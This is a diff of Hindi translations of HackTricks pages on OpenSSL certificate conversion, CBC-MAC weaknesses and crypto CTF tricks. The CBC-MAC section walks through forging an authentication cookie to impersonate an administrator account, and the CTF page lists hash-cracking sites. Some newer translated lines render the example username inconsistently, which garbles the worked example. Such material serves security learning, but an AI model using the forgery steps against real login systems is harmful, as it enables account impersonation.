|
||||
* **की उपयोग**: प्रमाणपत्र की पब्लिक की के क्रिप्टोग्राफिक उपयोगों की वैधता। सामान्य मानों में डिजिटल हस्ताक्षर मान्यता, की एन्क्रिप्टमेंट, और प्रमाणपत्र हस्त
|
||||
* **कुंजी उपयोग:** प्रमाणपत्र की सार्वजनिक कुंजी के मान्य उपयोग। सामान्य मान शामिल हैं डिजिटल हस्ताक्षर मान्यता, कुंजी एन्सिफरमेंट, और प्रमाणपत्र हस्ताक्षर।
|
||||
* एक वेब प्रमाणपत्र में यह एक _X509v3 एक्सटेंशन_ के रूप में प्रकट होग
|
||||
```
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
|
@ -71,62 +71,62 @@ openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
|||
```
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
**PEM को P7B में बदलें**
|
||||
**PEM को P7B में रूपांतरित करें**
|
||||
|
||||
**ध्यान दें:** PKCS#7 या P7B प्रारूप Base64 ASCII प्रारूप में संग्रहीत होता है और इसका फ़ाइल एक्सटेंशन .p7b या .p7c होता है। P7B फ़ाइल में केवल प्रमाणपत्र और चेन प्रमाणपत्र (Intermediate CAs) होते हैं, निजी कुंजी नहीं होती। P7B फ़ाइलों को समर्थन करने वाले सबसे सामान्य प्लेटफ़ॉर्म Microsoft Windows और Java Tomcat हैं।
|
||||
**ध्यान दें:** PKCS#7 या P7B प्रारूप Base64 ASCII प्रारूप में संग्रहीत होता है और इसका फ़ाइल एक्सटेंशन .p7b या .p7c होता है। P7B फ़ाइल में केवल प्रमाणपत्र और श्रृंखला प्रमाणपत्र (इंटरमीडिएट सीए) होते हैं, न कि निजी कुंजी। P7B फ़ाइलों को समर्थित करने वाले सबसे सामान्य प्लेटफ़ॉर्म माइक्रोसॉफ्ट विंडोज और जावा टॉमकैट हैं।
|
||||
```
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
**PKCS7 को PEM में परिवर्तित करें**
|
||||
**PKCS7 को PEM में बदलें**
|
||||
```
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**pfx को PEM में बदलें**
|
||||
**PFX से PEM में रूपांतरित करें**
|
||||
|
||||
**ध्यान दें:** PKCS#12 या PFX प्रारूप एक बाइनरी प्रारूप है जो सर्वर प्रमाणपत्र, मध्यवर्ती प्रमाणपत्र, और निजी कुंजी को एक एन्क्रिप्ट करने योग्य फाइल में संग्रहित करने के लिए है। PFX फाइलों के आमतौर पर एक्सटेंशन जैसे .pfx और .p12 होते हैं। PFX फाइलें आमतौर पर Windows मशीनों पर प्रमाणपत्र और निजी कुंजियों को आयात और निर्यात करने के लिए उपयोग की जाती हैं।
|
||||
**ध्यान दें:** PKCS#12 या PFX प्रारूप एक बाइनरी प्रारूप है जिसमें सर्वर प्रमाणपत्र, इंटरमीडिएट प्रमाणपत्र और निजी कुंजी को एक एन्क्रिप्टेबल फ़ाइल में संग्रहीत करने के लिए है। PFX फ़ाइलों के एक्सटेंशन जैसे .pfx और .p12 होते हैं। PFX फ़ाइलें आम तौर पर Windows मशीनों पर प्रमाणपत्र और निजी कुंजी को आयात और निर्यात करने के लिए प्रयोग की जाती हैं।
|
||||
```
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
**PFX को PKCS#8 में बदलें**\
|
||||
**ध्यान दें:** इसके लिए 2 आदेशों की आवश्यकता है
|
||||
**ध्यान दें:** इसके लिए 2 कमांड की आवश्यकता है
|
||||
|
||||
**1- PFX को PEM में बदलें**
|
||||
```
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
**2- PEM को PKCS8 में परिवर्तित करें**
|
||||
**2- PEM को PKCS8 में बदलें**
|
||||
```
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
**P7B को PFX में बदलें**\
|
||||
**ध्यान दें:** इसके लिए 2 आदेशों की आवश्यकता है
|
||||
**ध्यान दें:** इसके लिए 2 कमांड की आवश्यकता है
|
||||
|
||||
1- **P7B को CER में बदलें**
|
||||
```
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
**2- CER और Private Key को PFX में परिवर्तित करें**
|
||||
**2- CER और निजी कुंजी को PFX में बदलें**
|
||||
```
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करके आसानी से **वर्कफ्लोज़ को ऑटोमेट** करें जो दुनिया के **सबसे उन्नत** समुदाय टूल्स द्वारा संचालित होते हैं।\
|
||||
आज ही एक्सेस प्राप्त करें:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें और आसानी से **वर्ल्ड के सबसे उन्नत समुदाय उपकरणों** द्वारा संचालित **ऑटोमेट वर्कफ़्लो** बनाएं।\
|
||||
आज ही पहुंचें:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong></summary>
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,81 +1,81 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को PRs जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
यदि **cookie** **केवल** **username** है (या cookie का पहला भाग username है) और आप "**admin**" username का अनुकरण करना चाहते हैं। तब, आप username **"bdmin"** बना सकते हैं और cookie के **पहले बाइट** का **bruteforce** कर सकते हैं।
|
||||
यदि **कुकी** **केवल** **उपयोगकर्ता नाम** है (या कुकी का पहला हिस्सा उपयोगकर्ता नाम है) और आप उपयोगकर्ता "**व्यवस्थापक**" का अनुकरण करना चाहते हैं। तो, आप उपयोगकर्ता नाम **"बीडमिन"** बना सकते हैं और कुकी के **पहले बाइट** का **ब्रूटफोर्स** कर सकते हैं।
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
क्रिप्टोग्राफी में, **cipher block chaining message authentication code** (**CBC-MAC**) एक ब्लॉक सिफर से मैसेज ऑथेंटिकेशन कोड बनाने की तकनीक है। मैसेज को किसी ब्लॉक सिफर एल्गोरिथम में CBC मोड में एन्क्रिप्ट किया जाता है ताकि **ब्लॉक्स की एक श्रृंखला बने जिसमें प्रत्येक ब्लॉक पिछले ब्लॉक के सही एन्क्रिप्शन पर निर्भर करता है**। यह आपसी निर्भरता सुनिश्चित करती है कि प्लेनटेक्स्ट के **किसी भी** **बिट्स** में **परिवर्तन** से **अंतिम एन्क्रिप्टेड ब्लॉक** में ऐसा **परिवर्तन** होगा जिसे ब्लॉक सिफर की कुंजी जाने बिना पूर्वानुमानित या प्रतिकार नहीं किया जा सकता।
|
||||
रहस्यमयता में, एक **साइफर ब्लॉक चेनिंग संदेश प्रमाणीकरण कोड** (**CBC-MAC**) एक तकनीक है जिसका उपयोग एक ब्लॉक साइफर से संदेश प्रमाणीकरण कोड निर्मित करने के लिए किया जाता है। संदेश को कुछ ब्लॉक साइफर एल्गोरिदम के साथ सीबीसी मोड में एन्क्रिप्ट किया जाता है ताकि प्रत्येक ब्लॉक पिछले ब्लॉक के सही एन्क्रिप्शन पर निर्भर हो। यह आपसी आश्रितता सुनिश्चित करता है कि किसी भी प्लेनटेक्स्ट **बिट्स** में कोई **परिवर्तन** होने पर **अंतिम एन्क्रिप्टेड ब्लॉक** को एक ऐसे तरीके से **परिवर्तित** करेगा जिसे पूर्वानुमान या ब्लॉक साइफर कुंजी को नहीं जानकर नहीं रोका जा सकता।
|
||||
|
||||
मैसेज m का CBC-MAC की गणना करने के लिए, m को CBC मोड में शून्य प्रारंभिक वेक्टर के साथ एन्क्रिप्ट किया जाता है और अंतिम ब्लॉक को रखा जाता है। निम्नलिखित चित्र गुप्त कुंजी k और ब्लॉक सिफर E का उपयोग करके ब्लॉक्स![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) की एक मैसेज का CBC-MAC की गणना करता है:
|
||||
संदेश m का CBC-MAC निर्धारित करने के लिए, किसी भी शून्य प्रारंभीक वेक्टर के साथ m को सीबीसी मोड में एन्क्रिप्ट किया जाता है और अंतिम ब्लॉक को रखा जाता है। निम्न चित्र में एक संदेश का CBC-MAC की गणना करने की रूपरेखा दी गई है![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) एक गुप्त कुंजी k और एक ब्लॉक साइफर E के साथ:
|
||||
|
||||
![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
|
||||
# Vulnerability
|
||||
# सुरक्षा दोष
|
||||
|
||||
CBC-MAC में आमतौर पर **प्रयुक्त IV 0 होता है**।\
|
||||
यह एक समस्या है क्योंकि 2 ज्ञात मैसेज (`m1` और `m2`) स्वतंत्र रूप से 2 हस्ताक्षर (`s1` और `s2`) उत्पन्न करेंगे। इसलिए:
|
||||
CBC-MAC के साथ आम तौर पर **इस्तेमाल किया जाने वाला IV 0 होता है**।\
|
||||
यह एक समस्या है क्योंकि 2 ज्ञात संदेश (`m1` और `m2`) स्वतंत्र रूप से 2 हस्ताक्षर (`s1` और `s2`) उत्पन्न करेंगे। इसलिए:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
तब m1 और m2 को जोड़कर बनाए गए मैसेज (m3) से 2 हस्ताक्षर (s31 और s32) उत्पन्न होंगे:
|
||||
फिर m1 और m2 को जोड़कर बनाया गया संदेश (m3) 2 हस्ताक्षर (s31 और s32) उत्पन्न करेगा:
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**जिसे एन्क्रिप्शन की कुंजी जाने बिना गणना की जा सकती है।**
|
||||
**जिसे एन्क्रिप्शन की कुंजी को नहीं जानते हुए गणना किया जा सकता है।**
|
||||
|
||||
कल्पना कीजिए कि आप **8bytes** ब्लॉक्स में नाम **Administrator** को एन्क्रिप्ट कर रहे हैं:
|
||||
सोचिए आप **8 बाइट** ब्लॉक में नाम **प्रशासक** को एन्क्रिप्ट कर रहे हैं:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
आप **Administ** (m1) नाम का एक username बना सकते हैं और हस्ताक्षर (s1) प्राप्त कर सकते हैं।\
|
||||
फिर, आप `rator\00\00\00 XOR s1` के परिणाम का एक username बना सकते हैं। यह `E(m2 XOR s1 XOR 0)` उत्पन्न करेगा जो s32 है।\
|
||||
अब, आप s32 का उपयोग पूरे नाम **Administrator** के हस्ताक्षर के रूप में कर सकते हैं।
|
||||
आप उपयोगकर्ता नाम **Administ** (m1) बना सकते हैं और हस्ताक्षर (s1) प्राप्त कर सकते हैं।\
|
||||
फिर, आप `rator\00\00\00 XOR s1` के परिणाम को उपयोगकर्ता नाम बना सकते हैं। यह `E(m2 XOR s1 XOR 0)` उत्पन्न करेगा जो s32 है।\
|
||||
अब, आप s32 का उपयोग **प्रशासक** के पूरे नाम के लिए हस्ताक्षर के रूप में कर सकते हैं।
|
||||
|
||||
### सारांश
|
||||
|
||||
1. username **Administ** (m1) का हस्ताक्षर प्राप्त करें जो s1 है
|
||||
2. username **rator\x00\x00\x00 XOR s1 XOR 0** का हस्ताक्षर s32 है।
|
||||
3. cookie को s32 पर सेट करें और यह user **Administrator** के लिए एक वैध cookie होगी।
|
||||
1. उपयोगकर्ता नाम **Administ** (m1) का हस्ताक्षर प्राप्त करें जो s1 है
|
||||
2. उपयोगकर्ता नाम **rator\x00\x00\x00 XOR s1 XOR 0** का हस्ताक्षर प्राप्त करें जो s32 है**.**
|
||||
3. कुकी को s32 पर सेट करें और यह उपयोगकर्ता **प्रशासक** के लिए एक मान्य कुकी होगी।
|
||||
|
||||
# IV को नियंत्रित करके हमला
|
||||
# हमला नियंत्रण IV
|
||||
|
||||
यदि आप प्रयुक्त IV को नियंत्रित कर सकते हैं तो हमला बहुत आसान हो सकता है।\
|
||||
यदि cookies केवल username को एन्क्रिप्ट किया गया है, तो user "**administrator**" का अनुकरण करने के लिए आप user "**Administrator**" बना सकते हैं और आपको इसकी cookie मिल जाएगी।\
|
||||
अब, यदि आप IV को नियंत्रित कर सकते हैं, तो आप IV के पहले बाइट को बदल सकते हैं ताकि **IV\[0] XOR "A" == IV'\[0] XOR "a"** हो और user **Administrator** के लिए cookie को फिर से उत्पन्न करें। यह cookie user **administrator** का अनुकरण करने के लिए प्रारंभिक **IV** के साथ वैध होगी।
|
||||
यदि आप उपयोग किए गए IV को नियंत्रित कर सकते हैं तो हमला बहुत आसान हो सकता है।\
|
||||
यदि कुकी केवल उपयोगकर्ता नाम एन्क्रिप्ट किया गया है, तो उपयोगकर्ता "**प्रशासक**" का उपयोगकर्ता बना सकते हैं और आप इसकी कुकी प्राप्त करेंगे।\
|
||||
अब, यदि आप IV को नियंत्रित कर सकते हैं, तो आप IV का पहला बाइट बदल सकते हैं ताकि **IV\[0] XOR "A" == IV'\[0] XOR "a"** और उपयोगकर्ता **प्रशासक** के लिए कुकी पुनः उत्पन्न कर सकते हैं। यह कुकी **प्रशासक** के उपयोगकर्ता का अनुकरण करने के लिए मान्य होगी।
|
||||
|
||||
# संदर्भ
|
||||
|
||||
अधिक जानकारी के लिए [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) पर जाएं।
|
||||
अधिक जानकारी [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को PRs जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# क्रिप्टो CTFs ट्रिक्स
|
||||
# क्रिप्टो सीटीएफएस ट्रिक्स
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## ऑनलाइन हैशेज DBs
|
||||
## ऑनलाइन हैश डेटाबेस
|
||||
|
||||
* _**इसे Google करें**_
|
||||
* _**गूगल पर खोजें**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
* [https://crackstation.net/](https://crackstation.net)
|
||||
|
@ -28,82 +28,82 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## मैजिक ऑटोसॉल्वर्स
|
||||
## जादू ऑटोसॉल्वर्स
|
||||
|
||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (मैजिक मॉड्यूल)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (जादू मॉड्यूल)
|
||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## एनकोडर्स
|
||||
## एन्कोडर्स
|
||||
|
||||
अधिकांश एनकोडेड डेटा इन 2 संसाधनों के साथ डिकोड किया जा सकता है:
|
||||
अधिकांश एन्कोडेड डेटा को इन 2 स्रोतों से डीकोड किया जा सकता है:
|
||||
|
||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### सब्स्टिट्यूशन ऑटोसॉल्वर्स
|
||||
### सब्स्टीट्यूशन ऑटोसॉल्वर्स
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - बहुत अच्छा!
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - बहुत अच्छा !
|
||||
|
||||
#### सीज़र - ROTx ऑटोसॉल्वर्स
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### अतबश सिफर
|
||||
#### अटबाश साइफर
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### बेस एनकोडिंग्स ऑटोसॉल्वर
|
||||
### बेस एन्कोडिंग्स ऑटोसॉल्वर
|
||||
|
||||
इन सभी बेसेस को चेक करें: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
इन सभी बेस को चेक करें: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* **एस्की85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base26** \[_A-Z_]
|
||||
* **बेस26** \[_A-Z_]
|
||||
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||
* **Base32** \[_A-Z2-7=_]
|
||||
* **बेस32** \[_A-Z2-7=_]
|
||||
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
* **Zबेस32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
* `pbzsaamdcf3gna5xptoo====`
|
||||
* **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
* **बेस32 जियोहैश** \[_0-9b-hjkmnp-z_]
|
||||
* `e1rqssc3d5t62svgejhh====`
|
||||
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
* **बेस32 क्रॉकफोर्ड** \[_0-9A-HJKMNP-TV-Z_]
|
||||
* `D1QPRRB3C5S62RVFDHGG====`
|
||||
* **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
* **बेस32 विस्तारित हेक्साडेसिमल** \[_0-9A-V_]
|
||||
* `D1NMOOB3C5P62ORFDHGG====`
|
||||
* **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
* **बेस45** \[_0-9A-Z $%\*+-./:_]
|
||||
* `59DPVDGPCVKEUPCPVD`
|
||||
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
* **बेस58 (बिटकॉइन)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
* `2yJiRg5BF9gmsU6AC`
|
||||
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
* **बेस58 (फ्लिकर)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
* `2YiHqF5bf9FLSt6ac`
|
||||
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
* **बेस58 (रिप्पल)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
* `pyJ5RgnBE9gm17awU`
|
||||
* **Base62** \[_0-9A-Za-z_]
|
||||
* **बेस62** \[_0-9A-Za-z_]
|
||||
* `g2AextRZpBKRBzQ9`
|
||||
* **Base64** \[_A-Za-z0-9+/=_]
|
||||
